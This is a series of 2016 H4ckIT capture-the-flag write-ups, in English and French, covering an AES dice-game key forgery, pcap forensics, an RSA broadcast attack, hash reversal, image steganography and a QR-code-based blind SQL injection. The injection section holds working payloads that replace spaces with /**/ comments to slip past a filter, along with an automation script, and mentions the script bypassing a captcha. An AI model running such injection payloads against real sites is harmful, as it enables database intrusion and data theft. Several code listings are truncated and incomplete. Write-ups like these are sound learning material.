	fmt.Fprintln(conn, "Win 32 consecutive rounds and I will give you a flag.\n")

	r := bufio.NewReader(conn)
	for i := 0; i < 32; i++ {
		myDiceRoll := rollDice()
		myKey, myDiceRollEnc := encryptDiceRoll(myDiceRoll)
		fmt.Fprintf(conn, "My dice roll: %s\n", base64.StdEncoding.EncodeToString(myDiceRollEnc))
		fmt.Fprintf(conn, "Your dice roll: ")
		yourDiceRollStr, err := r.ReadString('\n')
		if err != nil {
		yourDiceRollStr = strings.TrimSpace(yourDiceRollStr)
		fmt.Fprintf(conn, "My key: %s\n", base64.StdEncoding.EncodeToString(myKey))
		fmt.Fprintf(conn, "Your key: ")
		yourKeyStr, err := r.ReadString('\n')
		if err != nil {
		yourKeyStr = strings.TrimSpace(yourKeyStr)
		yourKey, err := base64.StdEncoding.DecodeString(yourKeyStr)
		if err != nil {
			fmt.Fprintln(conn, "Invalid key.")
		yourDiceRollEnc, err := base64.StdEncoding.DecodeString(yourDiceRollStr)
		if err != nil {
			fmt.Fprintln(conn, "Invalid dice roll.")
		yourDiceRoll, err := decryptDiceRoll(yourKey, yourDiceRollEnc)
		if err != nil {
			fmt.Fprintln(conn, err)

		if yourDiceRoll < 1 || yourDiceRoll > 6 {
			fmt.Fprintln(conn, "Don't cheat on me ...")

		if myDiceRoll+yourDiceRoll != 7 {
			fmt.Fprintf(conn, "%d is not on the opposite side of %d. You lose.\n", yourDiceRoll, myDiceRoll)
	fmt.Fprintf(conn, "You win! How was that possible? However, here is your flag: %s\n", FLAG)

It is quite long but we can see easily the two interesting functions : encryptDiceRoll and decryptDiceRoll.
The encryption method is AES.
But the really important thing to notice is that we have the exact encryption method, but also the exact decryption one.
Give a ciphertext and the key (as the computer gives us) allows us to decrypt it.

Here is the go code I used to do it :
package main

import (

func main() {
	key := "W/4I/d7qukijU3Pn9b105Q=="
	dice := "1QqFKO/v082hLYEfvTBUDw=="
	key2, err := base64.StdEncoding.DecodeString(key)
	dice2, err := base64.StdEncoding.DecodeString(dice)
	result := 0
	for result != 3 {
		yourDiceRoll, err2 := decryptDiceRoll(key2, dice2)
		result = yourDiceRoll
		i, err2 := strconv.Atoi(key)
		i = i + 1
		key = strconv.Itoa(i)


func decryptDiceRoll(key []byte, diceRollEnc []byte) (int, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return -1, errors.New("Invalid key size")
	if len(diceRollEnc) != aes.BlockSize {
		return -1, errors.New("Invalid block size")
	block.Decrypt(diceRollEnc, diceRollEnc)
	return int(binary.BigEndian.Uint16(diceRollEnc)), nil

We can do the same for crypting our key the same way the computer does :
package main

import (

func main() {
	number := 3
	key, dice :=  encryptDiceRoll(number)


func encryptDiceRoll(roll int) ([]byte, []byte) {
	key := make([]byte, 16)
	if _, err := io.ReadFull(rand.Reader, key); err != nil {
	block, err := aes.NewCipher(key)
	if err != nil {
	rollEncoded := make([]byte, aes.BlockSize)
	if _, err := io.ReadFull(rand.Reader, rollEncoded); err != nil {
	binary.BigEndian.PutUint16(rollEncoded, uint16(roll))
	block.Encrypt(rollEncoded, rollEncoded)
	return key, rollEncoded

But here is the problem : we need the ciphertext AND the key to know the computer's dice roll. However, we only know his encrypted roll when he asks us ours.
The idea we had was to have a ciphertext that could become every number, from 1 to 6. Our dice roll would only depend on the key we give. The ciphertext combined with key1 will br 1, the ciphertext combined with key2 will be two, etc. So we can choose our dice value after knowing the computer's one (decrypt it with its cyphertext + key thanks to the go code above).
The challenge was to find 6 key values that give us the six different values. We chose to find these keys randomly and then to check if it matched. Kind of a bruteforce way. Here was the Go Code to find these values :
package main

import (

func main() {
	found := make([]byte,7)
	dice2, _ := base64.StdEncoding.DecodeString(dice)
	key2 := make([]byte,16)

	for i := 0; ; i++ {
		io.ReadFull(rand.Reader, key2)

		yourDiceRoll, _ = decryptDiceRoll(key2, dice2)

		if yourDiceRoll<7 && found[yourDiceRoll]==0 {
			if tot==6 {

func decryptDiceRoll(key []byte, diceRollEnc []byte) (int, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return -1, errors.New("Invalid key size")
	if len(diceRollEnc) != aes.BlockSize {
		return -1, errors.New("Invalid block size")
	dst := make([]byte,16)
	block.Decrypt(dst, diceRollEnc)
	return int(binary.BigEndian.Uint16(dst)), nil

We obtained six keys for our chosen dice roll 1QqFKO/v082hLYEfvTBUDw== :
NJmmmCfMxdhYRYBrrLHeXw== gives 1
+ojQSMtAAdnrVMOh+jSjtA== gives 2
ZMD8UAT8uAyMRBrROsZ9xA== gives 3
EXOUdcQaHUKmX3hSlYPJFA== gives 4
SktSVC95ev7+fdm9LBhrDA== gives 5
w8KFndyJYoulB2wLhi8DRg== gives 6

The only step left was to give the right value 32 times to the computer.
As Mathis wrote a Python script to do it, I started doing it it by hand. Mathis finally won the race, but we both had the right flag in the end !

Writeup by Mathis HAMMEL and Sophie LEGRAS

Le 10/10/2016 à 23:13

H4ckIT - First Sound Of The Future 300

Dans ce challenge nous nous retrouvons avec un fichier pcap dans lequel on nous demande de décrypter un message caché

Après un petit coup d'oeil on remarque un échange de paquet FTP assez important

On remarque aussi la requête RETR qui indique le transfert du fichier data.jpg

On isole le TCP Stream correspondant au transfert du fichier (paquets FTP-DATA),puis on les enregistre sur notre environement , ici j'ai gardé le nom d'origine data.jpg

le fihier obtenu ou plutôt l'image obtenue n'indique rien de particulier il faudra donc aller chercher plus loin :)

on lance une analyse simple du fichier avec binwalk et surprise surprise ...

on remarque la présence d'un archive rar ajouté à la fin du fichier jpg, cela peut aussi ce voir à l'aide de hexdump ou le flux TCP sur wireshark où on trouvera la chaine RAR! qui indique le début d'un archive Rar. On a alors plusieurs facon d'agir on peut directement changer l'extension du ficher data de .jpg à .rar et extraire l'archive ou utiliser une méthode plus propre en lançant foremost qui se chargera de séparer l'archive rar de notre image comme ce-ci:

après l'extraction du contenu de l'archive on se retrouve avec un fichier key.enc, vu l'extension le fichier est forcement crypté, un hexdump ne nous fera pas de mal :)

Effectivement c'est crypté et la chaine du debut en dit beacoup "Salted__" on conclu donc que le fichier a été probablement crypté en utilisant openssl avec l'option -salt et que pour le décrypter il suffira sans doute d'utiliser la commande suivante:

il reste maintenant à trouver l'algorithme de cryptage utilisé et la clef !! j'ai donc pensé que l'image pourrait apporter un peu plus à cette histoire mais rien :/ il fallait donc faire un pas en arrière et penser "Out Of The Box", je suis partie du principe suivant: si la personne a téléchargé le fichier data.jpg et recupéré l'archive RAR elle a maintenant besoin de la clef, donc soit elle connait la clef d'avance et ma théorie s'ecroule soit la personne a reçu la clef au moment où elle a telechargé le fichier :). j'ai donc replongé dans le fichier pcap à la recharche d'indices. Après quelques minutes de recherche paquet par paquet je retrouve un HTTP GET Request assez étrange.

je suis le lien et je me retrouve dans une sorte de station avec un media à écouter

le fichier audio est juste une suite de chiffre qui suit un ordre preçis j'ai donc noter toute les combinaisons possibles qu'on peut en déduire, en ésperant trouver la bonne clef, pour l'algorithme j'ai décidé de tester tout les algorithmes vu que c'est un nombre fini de possibilité et surtout parce que je n'avais trouvé aucun indice sur l'algorithme.

Une fois la liste au point j'ai utilisé l'outil bruteforce-salted-openssl, et bingo on a un mot de passe potentiel :D le premier dans la liste d'ailleur (outil bruteforce-salted-openssl utilise aes256 par default j'avais prévu de tester tous les algorithmes a l'aide d'un script bash)

On lance la commande de décryptage avec la clef précédente et bingo enfin un truc compréhensible apparait :D

Le flag était donc : h4ck1t{Nic3_7ry} un petit flag pour pas mal de points :D
Writeup by Amine KANANE

Le 06/10/2016 à 23:00

H4ckIT - Interceptor 95

The challenge looked like that :

The first thing we can notice is the name of variables : E, N an C. They are typical of RSA encryption algorithm.
However, if we look further, the Ns given are too big to find their prime factors.
As there are three values, we can imagine that the plain text is the same (and could be the flag !)
This intuition can be confirmed in the Wikipedia page, in the Attacks against plain RSA section : If the same clear text message is sent to e or more recipients in an encrypted way, and the receivers share the same exponent e, but different p, q, and therefore n, then it is easy to decrypt the original clear text message via the Chinese remainder theorem.

I found this link, very useful, which helped me to implement the solution. Let's call m the plain text message we are looking for.

The idea is to find a c such as :
c = m^3 mod (N1 * N2 * N3)
(3 corresponds to our E in every case)

As 3 is little enough, we can have the equality :
c = m^3

The only thing left to do is to find the cube root of c, so that we can have m (the plain text message).

This is the python code I used :
x1 = 258166178649724503599487742934802526287669691117141193813325965154020153722514921601647187648221919500612597559946901707669147251080002815987547531468665467566717005154808254718275802205355468913739057891997227
x2 = 82342298625679176036356883676775402119977430710726682485896193234656155980362739001985197966750770180888029807855818454089816725548543443170829318551678199285146042967925331334056196451472012024481821115035402
x3 = 22930648200320670438709812150490964905599922007583385162042233495430878700029124482085825428033535726942144974904739350649202042807155611342972937745074828452371571955451553963306102347454278380033279926425450
e = 3

n1 = 770208589881542620069464504676753940863383387375206105769618980879024439269509554947844785478530186900134626128158103023729084548188699148790609927825292033592633940440572111772824335381678715673885064259498347
n2 = 106029085775257663206752546375038215862082305275547745288123714455124823687650121623933685907396184977471397594827179834728616028018749658416501123200018793097004318016219287128691152925005220998650615458757301
n3 = 982308372262755389818559610780064346354778261071556063666893379698883592369924570665565343844555904810263378627630061263713965527697379617881447335759744375543004650980257156437858044538492769168139674955430611

def find_invpow(x,n):
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n <= x < (y + 1) ** n.
    high = 1
    while high ** n < x:
        high *= 2
    low = high/2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
            high = mid
            return mid
    return mid + 1

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a / b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1
if __name__ == '__main__':
	n = [n1, n2, n3]
	a = [x1, x2, x3]
	c = chinese_remainder(n, a)
	mCube = c % (n1 * n2 * n3)
	solution = find_invpow(mCube, e)
	print solution
	print hex(solution)
	#To check our result
	print solution * solution * solution == mCube

Here are the results :

We convert the hexadecimal code into ASCII and the flag given is : key=bff149a0b87f5b0e00d9dd364e9ddaa0

Writeup by Sophie LEGRAS

Le 03/10/2016 à 20:01

H4ckIT - Hash?! 150

En arrivant sur le site, on me demande de déchiffrer un texte qui a l'air de base64.

On a accès à l'outil qui permet de générer le "hash". Donc il faudra juste reverse l'algorithme de hachage pour pouvoir répondre correctement.

Les seuls caractères autorisés dans l'outil sont A-Z a-z 0-9. On voit dans le deuxième cas que chaque A est transformé en L6Sk, sauf le dernier qui est différent et plus long.
Tous les caractères marchent bien et correspondent à 4 caractères de base64 (sauf le dernier qui en occupe un peu plus), sauf le 0 qui met un bazar pas possible et rend l'algorithme incompréhensible. On essaie pendant longtemps de comprendre comment le 0 fonctionne :

Après des dizaines d'essais, le comportement lié au 0 reste incompréhensible... Heureusement, le texte à déchiffrer contient environ 250 caractères de base64, ce qui correspond à 60-70 caractères. On espère donc que le message soit généré aléatoirement, et pas fait pour contenir forcément un 0. On scripte donc un peu pour récupérer à quoi correspond chaque caractère, en milieu et en fin de chaîne, en l'absence de zéros. Une fois que les dictionnaires sont constitués, on peut lancer l'attaque :
import binascii, base64
import sys
import requests
import time

headers = {
	'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0',
	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	'Accept-Language': 'en-US,en;q=0.5',
	'DNT': '1',
	'Content-Type': 'application/x-www-form-urlencoded',
	'Referer': '',
	'Cookie': 'PHPSESSID=n35bf9crmr92uq0sqie2s8mf73'

traduct = {'MtTt': 'p', 'phXz': 'G', '0m6y': 'v', 'L6nk': 'A', 'biTD': 'x', 'Lm0h': 'W', 'Ai04': 'w', 'g5hM': 'Y', '08LA': 'N', 'S5re': '9', 'b4/N': 'U', 'AJKJ': 'k', 'Dkhq': 'O', 'niHI': 'j', 'Tx6J': 'm', 'Ayho': 'K', 'SjTa': 'q', 'K4Hi': 'B', 'nl3r': 'Q', 'A8AB': 'l', 'MoXZ': 'g', 'fGWs': '8', '+th9': 'R', 'Sm1=': 'P', 'nG3t': 'o', 'pxXg': 'H', 'Mgbl': 'M', 'gJTb': 'E', 'eGQu': 'u', 'iIBN': 'f', 'pfXm': 'V', '+Gc8': 'D', 'n605': '3', 'fHLU': 'C', 'Kf0P': '6', 'D6BV': 'Z', 'HxQT': 'b', 'SG62': 't', '+icl': 'r', 'i6QR': 'y', 'gjAO': 'n', 'fJk3': 'c', 'TiLY': 'a', 'DIhS': '7', 'TlAX': '5', 'KJH1': 'X', 'ghT7': 'e', 'Hozu': 'h', 'M61K': 'F', 'TG0G': 'L', 'ijLQ': 's', 'LjHr': 'J', '0f66': 'i', 'Hiuj': '1', 'blrf': 'd', 'DH5q': 'T', 'HkHs': '2', 'eHAk': 'I', '0xkL': 'S', '+5BH': 'z', 'f4': '0', 'LoPm': '4'}

endtraduct={u'TlbCKbCC': '5', u'pxWCH/CC': 'H', u'MoWCpWCC': 'g', u'LjgCnbCC': 'J', u'ijKCDbCC': 's', u'g5GCiWCC': 'Y', u'0f5CLbCC': 'i', u'DkGCn/CC': 'O', u'SjSC+qCC': 'q', u'DH5CS/CC': 'T', u'HozCebCC': 'h', u'KfnCD/CC': '6', u'HkgCnWCC': '2', u'+GwCbqCC': 'D', u'n6nCL/CC': '3', u'fHKCfqCC': 'C', u'nG3CSqCC': 'o', u'K4gCHWCC': 'B', u'i6PCDWCC': 'y', u'TGnCA/CC': 'L', u'AyGCAqCC': 'K', u'HiNCHqCC': '1', u'A8bCMbCC': 'l', u'+5zCHbCC': 'z', u'nigCAWCC': 'j', u'pfWC0qCC': 'V', u'ghSCMWCC': 'e', u'KJgCbbCC': 'X', u'0m5CLqCC': 'v', u'iIzCp/CC': 'f', u'biSCgWCC': 'x', u'blqCgqCC': 'd', u'AinCKqCC': 'w', u'LmnCAbCC': 'W', u'MtSCnqCC': 'p', u'M6/Ci/CC': 'F', u'08KCgbCC': 'N', u'b4/Ce/CC': 'U', u'MgbCTWCC': 'M', u'AJKCT/CC': 'k', u'fGWCSWCC': '8', u'phWCM/CC': 'G', u'LWCCTbCC': 'A', u'S5qCfWCC': '9', u'SG5CbWCC': 't', u'0xJCibCC': 'S', u'eHbC0bCC': 'I', u'Sm/CMqCC': 'P', u'eGPCpbCC': 'u', u'gjbCDqCC': 'n', u'+tGC+bCC': 'R', u'nl3CSbCC': 'Q', u'HxPCfbCC': 'b', u'+iwC0WCC': 'r', u'fJJC+/CC': 'c', u'LoPCTqCC': '4', u'DIGCf/CC': '7', u'Tx5C0/CC': 'm', u'D6zC+WCC': 'Z', u'gJSCg/CC': 'E', u'TiKCKWCC': 'a'}

#Le script pour avoir le chiffrement de chaque caractere en fin de chaine
'''for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789":
	res ="", data=data, headers=headers)
	restext = res.text
	print c,restext'''

data = {
	"newtask": "true"

while True:
	res ="", data=data, headers=headers)
	cipher = res.text
	decrypted = ''
		while len(decrypted)<63:
			dec = traduct[cipher[i*4:(i+1)*4]]
			print dec,
		print len(decrypted),"\n"
	data2 = {
		"answer": decrypted
	print "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
	print cipher
	print decrypted
	res2 ="", data=data2, headers=headers)

On laisse anxieusement tourner le script, qui rate une fois, puis deux, puis encore plein de fois... avant de réussir à décoder en entier le texte !
La page nous affiche un beau 'Your flag is : ...'

Writeup by Mathis HAMMEL

Le 03/10/2016 à 01:14

H4ckIT - QRB00k 400

QRB00k est un site web sur lequel on peut laisser des messages à ses amis en donnant son identifiant et un message, le site génère ensuite un QR Code qui nous permet de récupérer le même message plus tard. Petite démo :

Page d'accueil :

Je crée mon QR code :

Mon QR code a bien été créé

J'uploade le QR code généré :

Je récupère mon message :

Le principe du site est assez simple, reste à voir comment le tout fonctionne. On étudie le contenu du QR (par exemple en utilisant ce site).
Le QR Code contient juste xczS. On pense direct à du base64, sans succès... Assez peu de données, donc peut-être un ID en base de données ? On réessaie quelques autres identifiants et messages.

Révélation peu après, lorsque les données du QR code ressemblent à ==Qe0lmc1NWZT5WS. On reconnaît les = typiques du base64, sauf qu'ils sont au début de la string au lieu de la fin. On reverse la string, et on tombe sur l'identifiant qu'on avait fourni lors de la création. On essaie de générer le QR code qui correspond à Admin, root, flag, h4ck1t,... sans succès.

En même temps, ça aurait fait 400 points beaucoup trop faciles :P
La question suivante : comment, à partir de l'ID, le site arrive t-il à retrouver mon message ? Facile, une base de données.
On essaie une injection SQL facile avec ' AND '1'='1 pour voir si on a de la chance :
Payload :


On sent la blacklist sur les caractères spéciaux, certainement à cause des espaces. On tente le trick en replaçant les espaces par des /**/ :
Payload :


Victoire ! (Ou bien je me suis fait troll et quelqu'un a décider de s'appeler K71'/**/AND/**/'1'='1 mais ça m'étonnerait pas mal...)
On sait maintenant où va se passer le challenge et on décide de scripter l'injection (merci à Tanphi).
Source :
import requests
import time
import sys

payload="K71' AND '1'='1"
payload=payload.replace(' ','/**/')

import qrcode
from PIL import Image
import base64
cc = base64.b64encode(payload)[::-1]
img = qrcode.make(cc)'hacks.png')

headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "DNT": "1",
        "Referer": "",
        "Connection": "keep-alive"
while r=='':'',files={'userfile':('hacks.png',open('hacks.png','rb'),'image/png')},headers=headers)
    r=res.text.split('Your message is: ')[1].split(' ! ')[0]
    if r=='':
print table_name+' : '+r

Petit à petit, on découvre que c'est du MySQL, on commence à avoir une idée précise des tables, des colonnes...

La team Fourchette Bombe fait le first blood, GG à eux !
5 minutes après le first blood, le challenge ne répond plus. On attend 30 minutes, toujours rien. Une chose est claire, Fourchette Bombe va avoir des points de bug bounty ! Il est 2h du matin, on va se coucher, convaincus que le challenge sera réparé le lendemain.

Au réveil (11h30, normal), le challenge est revenu mais va super mal : Le site marche par intervalles de 30 secondes toutes les 10 minutes. Le reste du temps, il fait comme s'il avait bien trouvé le message, mais n'affiche pas le message. Donc super difficile de voir si les payloads successives fonctionnent. On attend que l'orage passe en évitant d'ajouter du trafic supplémentaire sur le site.

Vers 17h, les admins installent le système de captcha (on les voit sur les screenshots parce que je les ai pris après le CTF). Le site respire enfin un peu mieux. Je constate que le script marche toujours sans envoyer le captcha. Après signalement à l'admin, un bonus de 50pts nous est accordé !
Par contre notre bot ne marche plus, mais on la joue fair-play...

Après récupération des infos de l'information_schema, on retrouve la table dans laquelle sont stockées les correspondances ID/message. Par contre, une colonne secret_message attire notre attention. Il nous reste juste à récupérer le contenu de cette colonne pour avoir le flag.

Dans l'ensemble, un chall très intéressant, ça nous change des injections SQL classiques ! Dommage pour la faiblesse de l'architecture sous charge (et GG Fourchette Bombe pour le bug bounty, même si ça nous a mis mal !)

Writeup by Mathis HAMMEL

Le 02/10/2016 à 23:46

H4ckIT CTF - Crypt0P1xels 250

Premier chall de stegano de ce CTF, on a un flag caché dans un PNG, et le script python qui a servi à cacher le flag :
from PIL import Image
import random

FLAG = '^__^'

img ='original.png')
img_pix = img.convert('RGB')

x = random.randint(1,255)
y = random.randint(1,255)


for l in FLAG:
    x1 = random.randint(1,255)
    y1 = random.randint(1,255)
    x = x1
    y = y1'encrypted.png')
Pas compliqué en apparence, on regarde un peu plus en profondeur ce que fait le script fourni :

1. On importe les libs nécessaires et on ouvre l'image de base dans laquelle on veut cacher le flag :
from PIL import Image
import random

FLAG = '^__^'

img ='original.png')
img_pix = img.convert('RGB')

2. On choisit x,y au hasard, qui seront les coordonnées du point suivant (X0,Y0). Puis, on cache l'info dans le pixel (0,0) en haut à gauche :
Octet rouge : nombre de caractères du flag
Octet vert : x
Octet bleu : y
x = random.randint(1,255)
y = random.randint(1,255)


3. Maintenant, chaque caractère du flag sera codé dans le pixel de coordonnées (Xi,Yi), sous la forme :
Rouge : valeur ASCII du caractère
Vert : Xi+1
Bleu : Yi+1
On dispose déjà de X0 et Y0, donc on peut trouver flag[0], X1 et Y1, qui permettront à leur tour de trouver flag[1], X2 et Y2, etc.
for l in FLAG:
    x1 = random.randint(1,255)
    y1 = random.randint(1,255)
    x = x1
    y = y1

4. Enfin, on enregistre l'image dans laquelle on a caché le flag :'encrypted.png')

Maintenant qu'on a bien compris comment récupérer le flag, c'est l'heure de scripter :
from PIL import Image'encrypted.png')
for i in range(int(idx[0])):
print flag

Résultat : 1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R3
Ce chall était assez décevant, il était bien plus faciles que d'autres challenges à 100 points. Pourtant l'idée était fun :)

Writeup by Mathis HAMMEL

Le 02/10/2016 à 23:13

H4ckIT CTF - HellMath 100

Un des challenges de programmation du H4ckIT. Après connexion en netcat sur l'IP/port fournis, on est accueillis par le message suivant :
Hello, stranger!

In this task you must solve 100 math questions.
Every task prints value C, where

C = A ^ B

, and you need to return A and B.

Simple, isn't it?
C =  42840405199755436098060152988004402762566772657415146618791570837559835779992379280015763745332507389554036890769503758422362759637195840213422724777435191202310863160889341924375325291290717310359733378331613522470541565576760746236823344541699302055105891652180394855176437710789554790142819000439604818152787519150360700726593872786568776871318338912524417332271040753884208290715880747327126318302454092567256970489150795090608773351916422226370450282751498301684215888364442742111081103865344013222036280746277601302748664393268143510356389870858787276808532615676504794151468960332743790801519558060769120598877941500987437173071189135008058159845696848064027916948908623905028401877041375482196357922212249304541650297865569767249848455418301597144162985472970807894328761985071334686948992349296093376868099993203688497101456988779405280039059921642275023012357928324053297706453152242218408409087430606050176712110821844259932217404108591823430912947467735765949920453726200118454711746726510767014925368992351931260977581772433377536121395935764200874257793647970245252706329423132811244797038539724906175391596544
On a beaucoup de temps pour répondre, donc je scripte vite fait à la main pour trouver A et B. Facile, un petit script python me donne des résultats du genre A=238 B=522. Par contre, on doit résoudre 100 questions du même genre. Il va donc falloir scripter le socket aussi.
C'est à ce moment que les dizaines d'années de cours de maths portent enfin leurs fruits : Hugo découvre la propriété A^1=A. C'est trop beau pour être vrai, mais on essaie quand même. Et ça marche !

Du coup, 100 points faciles et un bonus de 20 pts pour avoir été les 2èmes à flagger, sans oublier de signaler à l'admin le bug : c'était bien un oubli de leur part, mais le flag est validé !

Writeup by Mathis HAMMEL

Le 02/10/2016 à 22:30